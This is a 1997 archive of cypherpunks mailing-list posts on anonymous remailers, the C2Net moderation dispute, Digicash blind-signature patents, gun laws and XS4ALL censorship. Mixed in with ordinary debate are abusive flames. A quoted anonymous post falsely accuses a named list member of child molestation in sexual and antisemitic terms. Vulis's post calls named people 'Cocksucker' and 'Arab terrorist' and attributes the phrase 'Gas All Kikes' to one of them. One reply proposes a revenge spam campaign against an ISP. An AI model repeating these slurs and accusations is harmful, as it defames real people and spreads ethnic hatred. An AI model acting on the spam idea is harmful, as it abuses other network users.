Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 6 May 1997 03:21:53 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Firewalls
In-Reply-To: <199705051712.TAA17277@basement.replay.com>
Message-ID: <Pine.A41.3.95.970505125601.170060A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Anonymous wrote:

> On Sun, 4 May 1997, Anonymous wrote:

Vulis does your wife,no you write this?

> Vulis does you wife no you write this?
> 
> > Timmy Mayo the self-admitted child molester 
> > possesses a rudimentary dick less than one 
> > inch long, half the size of Graham-John Bullers' 
> > clitoris, that barely makes a fistful. Thereby 
> > hangs the root of this Jew-hating sissy's sick 
> > fixation on little boys and Usenet forgeries.
> > 
> >          \|||/
> >          (o o)
> >      -ooO-(_)-Ooo- Timmy Mayo
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 6 May 1997 01:28:59 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: (Fwd) Extropia dead
Message-ID: <3.0.1.32.19970505130927.007b6e60@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Mailing-List: contact pgp-users-help@joshua.rivertown.net; run by ezmlm
>Reply-To: pgp-users@joshua.rivertown.net
>Comments: Authenticated sender is <fredr@[204.141.41.5]>
>From: "Fred B. Ringel" <fredr@[204.141.41.5]>
>Organization: Rivertown.Net
>To: pgp-users@joshua.rivertown.net
>Date: Mon, 5 May 1997 12:52:57 -0500
>Subject: (Fwd) Extropia dead
>Priority: normal
>
>Hi all-
>
>	Thought I'd pass this *bad* news along. :-((
>
>		Fred
>------------------------------------------
>Date: Mon, 5 May 1997 00:39:36 -0700 (PDT)
>From: Miron <miron@best.com>
>
>Due to best.com (Best Internet) policies
>remail@miron.vip.best.com has been shut down.
>You will only received one notice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 02:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about C2Net
In-Reply-To: <v03007800af93ca8bcc21@[207.167.93.63]>
Message-ID: <4sR96D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.

As if he forgot...

> This is an easy one. The only continuing insults I see come from Vulis.

How would you know, old fart?  You've announced that you killfile me and
a dozen other people who know C2Net for what they are.  Therefore you
can't "see" anything coming from me, unless you're lying again.

> But the C2Net flap is behind us.

Yeah, right.  That's coming from the same individual who didn't object
to C2Net's "moderation" of this mailing list when Cocksucker John Gilmore
announced it, and who also supported Cocksucker John Gilmore's forcibly
unsubscribing me from the mailing list by repeating his lies about
the "volume", not the "contents" of my writings that got my plug pulled,
alluding to the bogus numbers like "50 articles / day" and "megabytes
of Serdar Argic reposts [about the genocide of 2 million Moslems and
Sephardic Jews by the Armenians]".

Timmy, you're a liar.

> As for stores asking for personal info, this is unsurprising. Fortunately,
> one can always refuse to give it, or lie, or just shrug. No laws yet demand
> this information be given (except for sales of guns and other such
> almost-contraband). Stores seek information for marketing, for decisions on
> placement of new stores (which is why zip codes are sometimes asked for),
> etc.

If the Arab terrorist Sameer "Gas All Kikes" Parekh and his obsequitous
lackeys Greg Broils and Sandy Sandfart and their NSA bosses had it their
way, you'd have to show your Federal ID card every time you pay cash and
also record the serial numbers on the notes. (I understand that recording
the serial numbers is the standard practice in some countries.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 6 May 1997 04:58:16 +0800
To: cypherpunks@toad.com
Subject: Controversial Commercial ISP for Remailer?Controversial Commercial ISP for Remailer?
Message-ID: <199705052033.NAA26438@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Suppose you wanted a commercial ISP to run a Winsock middleman remailer on.
An ISP that was tolerant of the kinds of abuse and SPAM that remailers 
occasionally suffer from.  An ISP who'd take your money and leave you alone. 
An ISP who wouldn't drop your account because of bad publicity. 
An ISP that could be a stable anchor for a remailer system,
and maybe even for web-page remailers.

Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
An ISP whose reputation capital was already so LOW that another 
gigabyte of flames to the postmaster wouldn't really be noticed.  
The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
accounts, but probably does, since money orders are more reliable than most 
of his customers :-)  Also don't know how he'd respond to subpoenas and 
warrants (probably quickly?) or wiretap requests (he's not a telco), 
or how long before he'll be assassinated or banned or IDPd.

The bad news, of course, is that Spamford's negative reputation rubs off
on the whole remailer system, and you risk a lot more spamming and
anti-spammer attacks on your remailer (hence more administration work),
and you risk raising Spamford's public image, and it does involve
giving money to Spamford, which could be viewed as rewarding bad behaviour.
You'd probably want to limit the remailer to one email destination per 
message to cut down on spamming.

			Spambert
			
			Greasy Fingerprint A0 D0 31 DF 62 85 19 0A
					   A6 95 EA 85 A9 64 1B 7E


-----BEGIN PGP SIGNATURE-----
Version: 4.0 Personal Edition

iQBFAgUBM25ByouqXu2FMJm1AQGhhQF/a0mCkwaVOolhkhX7t/kYSoVZ07bqxIC4
tYy9yumhnK97AwXqVjWoTSVffJYNbSwG
=iLKF
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 6 May 1997 04:34:04 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about Vulis
Message-ID: <199705051953.NAA05074@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>
> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.
>
> This is an easy one. The only continuing insults I see come from Vulis. No
> further explanation is needed.
> (One wonders why Vulis does not simply program one of his insultbots to
> spew out a daily insult.)

  Tim should try to keep in mind that his vision is limited
due to his generous use of self-censorship. Were it not so,
then he might be aware of more than a few people who regard
StrangleHold's empire with suspicion.
  I suppose that Mr. May regards Tom Weinstein, of Nut$crape, as
just another Vulis tenacle. Or perhaps Mr. Weinstein is in Tim's
killfile.

  Of course, Tim lets us all know that once he has spoken from
upon high, that there is nothing more to be said in the matter.
  Perhaps Tim could ask Vulis, a programmer, to send him an
insultbot to compose his Vulissaults.
  Or perhaps he could take the time to scan all the list posts
and get a realistic view of list opinions and attitudes before
he speaks out.
  Or perhaps he could stop to think about how much criticism
of C2Nut's products is blunted by their censorship of other
lists and their gang of legal-eagle thugs.

  [Please note that "Blame it all on Vulis," a favorite cypherpunk
game, is not sold in stores.]

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect-

  Once again, Tim speaks of things of which he has, by his own
admission, little knowledge, since he claims to have only lightly
perused a precious few of the articles from this time period.
  Both John and Sandy stated that it was Sandy SameerFart who
approached John with the offer of moderation/censorship.
  Robert Hettinga belatedly proposed that it was he who
suggested the idea to Sandy (about the same time that Bob was
coming into some cash and reputation capital promoting C2Nut's
pet projects).

  While I anxiously await most of Mr. May's posts with eager
anticipation, I think it might be wise of him to consult the
archives regarding those things which transpired during his
absence from the list, before speaking out so strongly on
the issues involved (particularly if he is going to give the
impression that once he has spoken, there is nothing more
to be said).

FactMonger

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 6 May 1997 06:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705051536.IAA12717@mail.pacifier.com>
Message-ID: <19970505142016.07466@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 08:32:17AM -0800, Jim Bell wrote:
> At 08:50 5/02/97 -0700, Kent Crispin wrote:
> >On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:
> 
> >The basic point, really, is that organizational complexity grows 
> >with the size of the organization, at a greater than linear rate.  
> >This is because organizational complexity is a function of 
> >interactions between members of the organization, which is at least 
> >n-squared.  (However, when you consider that alliances form and can 
> >interact, the true complexity grows at a much faster rate.) 
> 
> You seem to be taken with making all sorts of bare, unsupported claims,

I didn't bother to support that claim because it is trivially 
obvious.  For your benefit:

In *any* organization of size n there are obviously n squared one to
one personal relationships possible.  This is just mathematics.  (Oh,
to be really precise, n^2 - n, since the relationship with yourself
doesn't count).  However, any two people may form an alliance that may
have to be considered as a unit, likewise any three people, up to any
group of size n-1.  Clearly, any large group must impose some
structure to function as a group, otherwise the communication
complexity is overwhelming.  A frequent organization is a hierarchy,
or tree structure, and the standard rule of thumb is that a manager
should have around 7 direct subordinates.  This is all so 
basic...certainly it's kind of fluffy, because all social sciences 
seem kind of fluffy.  But the increase in complexity with 
organization size is observationally obvious, as well.  Compare big 
business to small business.  Compare Boy Scouts with your local 
street gang.

> obviously with the intention of explaining (for example) away what was
> apparently an INTENTIONAL increase in the size of Federal government between
> (say) 1932 and today.   
>
> To read your paragraph above, its increase in size was simply the
> unavoidable consequence of nature's laws or something akin to it.  Maybe a
> product of number theory, or the Fibbonacci sequence, exponential increase,
> or something like that.  Which would, if true, remove just about all the
> blame from those who were in control of the situation.
> 
> BULLSHIT!

I'm not into the blame game, in general -- you know the old saying
about not assuming malice when stupidity is an adequate explanation?
Blame is a waste of time, in general.  The only thing worth
considering is how to make things better, and sometimes I wonder 
about that. 

> Chances are good that at least 75% of the size of the US Federal government
> today is due to spending that wasn't considered the proper Constitutional
> function of the government before 1930, and certainly not before 1900 or so.
> (Large peacetime military, Socialist Insecurity, Welfare, Medicare,
> Medicaid, interest on national debt caused by deficit spending that occurred
> due to funding these previous atrocities, etc.)

So what?

One mans attempt to do social good is another man's atrocity, apparently, 
just as one persons freedom fighter is another persons terrorist.  
Any real government has to deal with the fact that people have 
different opinions.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 03:39:32 +0800
To: Hal Finney <hal@rain.org>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <Pine.SUN.3.91.970505145243.4838G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Hal Finney wrote:

> Presumably records are kept to protect against various risks.  Without
> that protection, you need other means to control the risk.  But if those
> means exist and they are cheaper than record-keeping, then again even
> without anonymity it should be cheaper to use those methods in place of
> the records.

Records are kept for (a) tax compliance, (b) as a way of further 
marketting spam that tracks usage/purchase patterns.  Presumably the 
marketting weasels require this info because of their belief that doing 
so will increase sales in the long run.

> (One possible explanation is that it would be a regulatory effect.
> People are forced by the government to keep records, to their detriment,
> that they would prefer not to keep.  With anonymous bearer certificates
> it would not be possible to keep the records so people might hope to
> escape the regulations.  However the problem with this reasoning is that
> the same forces which require the record-keeping would be likely to ban
> the use of instruments which prevent keeping records.)

I'd predict that in such cases mom & pop candy stores and small grocery 
stores wouldn't bother with record keeping, while big huge stores with 
marketting spam budgets would.

Though all things considered some record keeping is needed for inventory 
tracking, employee pay, etc.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 04:35:07 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
Message-ID: <199705052012.PAA14656@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


sounds like high time to get out of that country.

plus, in america programmers get paid a lot better than there.

igor

Paul Bradley wrote:
> 
> 
> 
> > > > A ban on all handguns even when registered (currently all pistols above 
> > > > .22 are banned and all guns have to be registered in a process whereby if 
> > > > the applicant for a certificate has any history of political dissention 
> > > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > > certificate will be refused.
> > 
> > What would be an example of such political dissention?
> 
> Well, I`m pretty sure that, having recently been involved in campaigns 
> against the ban on handguns, written to a number of people in positions 
> of power over the proposed TTP scheme in the DTI white paper etc. my 
> firearms licence will not be renewed the next time it comes up for review.
> The powers that be now presumably see me as a loon.
> 
> A damning enditement on the British people is that last time I mentioned 
> to someone my having written to the home office and others over the 
> proposed gun ban I was called a lunatic and told "The sort of person who 
> writes to the home office over something like that is the least suitable 
> to have a gun".
> 
> I can assure you this is not a one-off, this happens every time people who 
> don`t shoot find out I do. They have been brainwashed by the 
> tabloid press, for example, the daily mail ran a particularly vitriolic 
> hate campaign against gun owners singling out Albie Fox, leader of the 
> campaign against the ban, and calling him a "Gun obsessed lunatic".
> This, recall, is the same daily mail which rants every day about the 
> "evil of drugs" and how the only way to "save society" is to throw 
> everyone who doesn`t support their particular brand of bigoted fanaticism 
> into jail for the rest of their life.
> 
> And of course, one would imagine that those who actually owned guns and 
> used them for sport themselves would be the most informed people who 
> would realise that the criminal use of guns is at the opposite end of the 
> scale to the sporting use allowed in British law. However, I know several 
> people who have said "I`m happy to give up my guns if it will save 
> lives", to this I simply reply "who were you going to kill?" then walk 
> away, these people don`t even deserve correcting as their bullshit is so 
> deep.
> 
> In addition, when the police revoke or refuse to renew a firearms 
> certificate, they do not need to give a reason, so one cannot even prove 
> that it was because of speech or opinions they didn`t like that they 
> revoked the certificate. Even if you could, it is unlikely a challenge in 
> court would succeed, the UK does not have the same free speech guarantees 
> as are given in the US and elsewhere, and any court challenge would fail, 
> of that I am sure.
> 
> Also, to worsen the situation, the labour party has now come to power and 
> as I have already explained in a previous post this make matters even worse.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 6 May 1997 03:45:44 +0800
To: cypherpunks@toad.com
Subject: ISP fighting gov't on privacy issue
Message-ID: <3.0.1.32.19970505151732.006afb04@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

[From: CNET NEWS.COM]
 
ISP battles for rebels' rights
By Janet Kornblum [May 2, 1997, 12:45 p.m. PT] 

Todd Jagger, owner of what he calls the "world's smallest" Internet service
provider, doesn't like the secessionist Republic of Texas rebels. But he has
sued the state attorney general to protect their privacy.

The state attorney general's office, seeking to gain information about the
rebels, asked to see the records of ten Texas ISPs. Requested items included
copies of email and logs of Web site visitors for several groups calling for
Texas to split off from the United States.
.... 

See: http://www.news.com/News/Item/0%2C4%2C10327%2C00.html?nd


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM24yMT5A4+Z4Wnt9AQFVvgP/cUAjpVYWsoNGvqMsX4vaSnAzL3ZhtOFI
0TcBnIOqvOjIJQ+G7ecBPkA+z/4lSA2r5Ed01/Yiau4a9a/A4KcT8a6jWVN4uimB
Ll2QSYgrAD9xx0SWLpfGfQsjUJrlsGYsuJ6SiL/rfCCpNKpaD7hXwU0JtwrFdJLp
C6HQaHBrY3c=
=iCkV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 04:37:39 +0800
To: cypherpunks@toad.com
Subject: Re: Software patents
In-Reply-To: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>
Message-ID: <v03020951af93e183673e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:41 am -0400 on 4/30/97, Lucky Green wrote:


> Anecdote: at a conference, I asked a patent attorney what strategy to
> follow if your patented technology is only happening in the client
> software. He looked at me like I was drooling on myself and said: "Uhm...
> Well... Then you have a problem."
>
> IANAL, but I suppose the best strategy for the owners of a shaky software
> patent would be to make people believe that their technology is patented in
> many more jurisdictions than it actually is.

I expect two things will happen with the blind signature patent. Either
Digicash licenses the patent  or they don't. :-).

If they do, they have a real good chance of actually making back all the
money they've wasted so far trying to figure out what kind of business they
should be in, which is, again, cryptography.

If they don't license the patent, they will either find a greater fool to
invest in further, um, personal growth, until the patent expires (likely to
me this afternoon, :-)), or someone will actually buy the patent out of the
rubble and hopefully license it.

Under no circumstances do I see any commercial use of the blind signature
patent without the unencumbered legal permission of that patent's owner
(whoever that ends up being). Even the threat of legal action, justified or
not, will sufficiently perturb the economics of starting up a digital
bearer certificate market to prevent any action in those markets without
the patent holder.


I think comparisons to VCRs are inappropriate, because every point of
digital cash exchange between the net and the meatspace finance world can
be slapped with an injunction, and, actual money, changing hands, will be
taken away from someone.

Contributory enfringement may or may not occur in the client, but the fact
is, a trusted thrid party, a financial intermediary, needs to underwrite
the negotiable instrument that a Chaumian digital cash certificate
represents. In order to be trustworthy, that underwriter needs a trustee,
and, for the time being, those trustees will be banks of deposit, subject
to all the state-monopolized "physical" law of meatspace, including patent
law.

Banks, in their current incarnation as account-based book-entry entries,
cannot ignore the law of nation states, because the very efficacy of their
transaction settlement schems requires the physical force of a nation state
to prevent non-repudiation of those transactions.

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Tue, 6 May 1997 01:34:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: XS4ALL censored pages (fwd)
Message-ID: <Pine.LNX.3.91.970505153525.1466A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



As we guessed XS4ALL don`t even have the guts to send us a copy of the 
pages they censored. Check this out...


>Dear Paul,

>>Postmaster,
>>
>>Please send me a copy of your current pricing for web space.
>>
>>Also, please send me a copy of the marajuana pages you recently removed 
>>from your web server.
>
>Hearby you recieve information about all services from xs4all.
>
>We don't know anything about marajuana pages so we can't send you a copy of
>that.
>
>Kind regards,
>

<Much pricing information and rattling of the stick in the swill bucket cut>


>XS4ALL Internet B.V.               Sales  afdeling:
>Postbus 1848                       Email: sales@xs4all.nl
>1000 BV Amsterdam                  Http://www.xs4all.nl/business
>         
>Tel: 020-6222885                   Fax: 020-5352002
>Ma. t/m vrij.			        van 12.00u tot 20.00u





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 05:26:03 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052033.NAA26438@fat.doobie.com>
Message-ID: <199705052058.PAA15223@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> An ISP whose reputation capital was already so LOW that another 
> gigabyte of flames to the postmaster wouldn't really be noticed.  
> The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> accounts, but probably does, since money orders are more reliable than most 
> of his customers :-)  Also don't know how he'd respond to subpoenas and 
> warrants (probably quickly?) or wiretap requests (he's not a telco), 
> or how long before he'll be assassinated or banned or IDPd.
> 
> The bad news, of course, is that Spamford's negative reputation rubs off
> on the whole remailer system, and you risk a lot more spamming and
> anti-spammer attacks on your remailer (hence more administration work),
> and you risk raising Spamford's public image, and it does involve
> giving money to Spamford, which could be viewed as rewarding bad behaviour.
> You'd probably want to limit the remailer to one email destination per 
> message to cut down on spamming.
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

the problem with spamford is that many sites ignore everything (IP packets,
email messages, and so on) that comes from there.

algebra.com, for example, ignores all email from cyberpromo and all
affiliated domains.

If i discover that there is something useful taht comes out of there, *i*
may fine tune my setup, but do not hope that other sites will be as nice.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 04:56:18 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about Vulis
In-Reply-To: <199705051953.NAA05074@wombat.sk.sympatico.ca>
Message-ID: <v0302095eaf93f35496ed@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:56 pm -0400 on 5/5/97, TruthMonger wrote:


>   Robert Hettinga belatedly proposed that it was he who
> suggested the idea to Sandy (about the same time that Bob was
> coming into some cash and reputation capital promoting C2Nut's
> pet projects).

What *I* want to know is, when do I get the TriLateral Commission
membership card (*and* secret decoder ring) I bought with all that cash.

I'm honored to be Mongered in such fine company.

Bob Hettinga
(who seems to have taken a cashflow "holiday" last year...)

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 6 May 1997 08:10:54 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <Pine.3.89.9705051657.A29826-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Ernest Hua wrote:
> I don't completely like the first amendment argument because it is
> solely based on claiming that software is, first and foremost,
> expression.  In fact, software has mechanism and side effect of
> mechanism.  If software were strictly expression, it is hard to
> imagine how a multi-billion industry could have spawned from such an
> inert practice.  Another example: one could argue that crafting an
> grenade launcher is artistic expression, but surely few would consider
> THAT argument when faced with such an "expressive" neighbor.

I concur. A citizen has the right to manufacture a grenade launcher under
the Second Amendment (irrespective of what judges scared into submission
by Roosevelt et al may have ruled), not the First. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 08:33:18 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Drifting toward 2nd Amendment arguments (Was: Responses to Tim May's criticism ...)
In-Reply-To: <Pine.3.89.9705051657.A29826-0100000@netcom19>
Message-ID: <199705060010.RAA00342@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First.

This discussion is starting to drift away from the original point ...

I suspect that the Second Amendment was created strictly for the defense
of the citizenry from a tyrannical government.  I have a hard time with
"the right to sport shooting" argument, as there were no such mention in
the Amendment.  I think if one wants to argue the Second Amendment, one
should restrict the issues to genuine and effective civil defense against
a tyrannical government.  I would suspect that few would tolerate such
a sweeping right today, as it is hard to imagine what would constitute
genuine and effective civil defense against a tyrannical government given
the power of today's governments.

In some convoluted way, one could argue that encryption is one way to
defend ourselves against a tyrannical state as the state's power is held
in check if they cannot arbitrarily gather information on anything or
anyone.  Of course, to say that could effectively diminish the argument
for physical defense as one is effectively trusting the integrity of one's
interconnect to the NII/GII.  If you don't trust the government, you
certainly should have difficulty believing your ?II connection is safe and
sound.

I would really prefer to keep the follow up's to this message on private
E-Mail, as it is starting to get off-topic.  Thanks.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 05:58:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Insults about C2Net
In-Reply-To: <v03007800af93ca8bcc21@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970505172748.4838J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Tim May wrote:

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
> receives his instructions from the Elders of Zion, relayed through the San
> Francisco representatives of the Bilderburgers.

Actually he recieved those instructions from the great Cthulhu himself 
while channeling the same in a fit of glossalia brought on by a diet 
consisting of way too many cypherpunks message of high spam content.
The fact that the very elder gods themselves have directed the hand of 
John in this matter is a very subtle hint at how silly Vulis is.

Why, the great Nyarlatheotep, the great, mad, blind god at the center of the
universe finds Vulis's constant spams a competitive threat to his quest for
chaos which is why he has asked Cthulu to send his minions at toad.com. 

Ia! Ia!  All hail Cthulu. :)

 -- Ray
 High priest of calamari, stir fried, not shaken.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 6 May 1997 06:01:08 +0800
To: ichudov@algebra.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705052058.PAA15223@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970505173714.4838K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997 ichudov@algebra.com wrote:

> > Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
> > An ISP whose reputation capital was already so LOW that another 
> > gigabyte of flames to the postmaster wouldn't really be noticed.  
> > The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
> > or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
> > accounts, but probably does, since money orders are more reliable than most 
> > of his customers :-)  Also don't know how he'd respond to subpoenas and 
> > warrants (probably quickly?) or wiretap requests (he's not a telco), 
> > or how long before he'll be assassinated or banned or IDPd.

> If i discover that there is something useful taht comes out of there, *i*
> may fine tune my setup, but do not hope that other sites will be as nice.

Well, here's a thought.  Let's pool some cash together and go off and 
spam cyberpromo from the inside.  Let's get an account there, turn it 
around and spam everyone and their mother at cyberpromo and their 
respective subdomains.   Wouldn't that be sweet revenge?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Tue, 6 May 1997 02:22:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rape, death and XS4ALL
Message-ID: <199705051650.SAA14830@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley sez:

: > Perhaps we should further expose XS4ALL's hypocricy by renting from the
: > web space and putting up some pages they won't like.

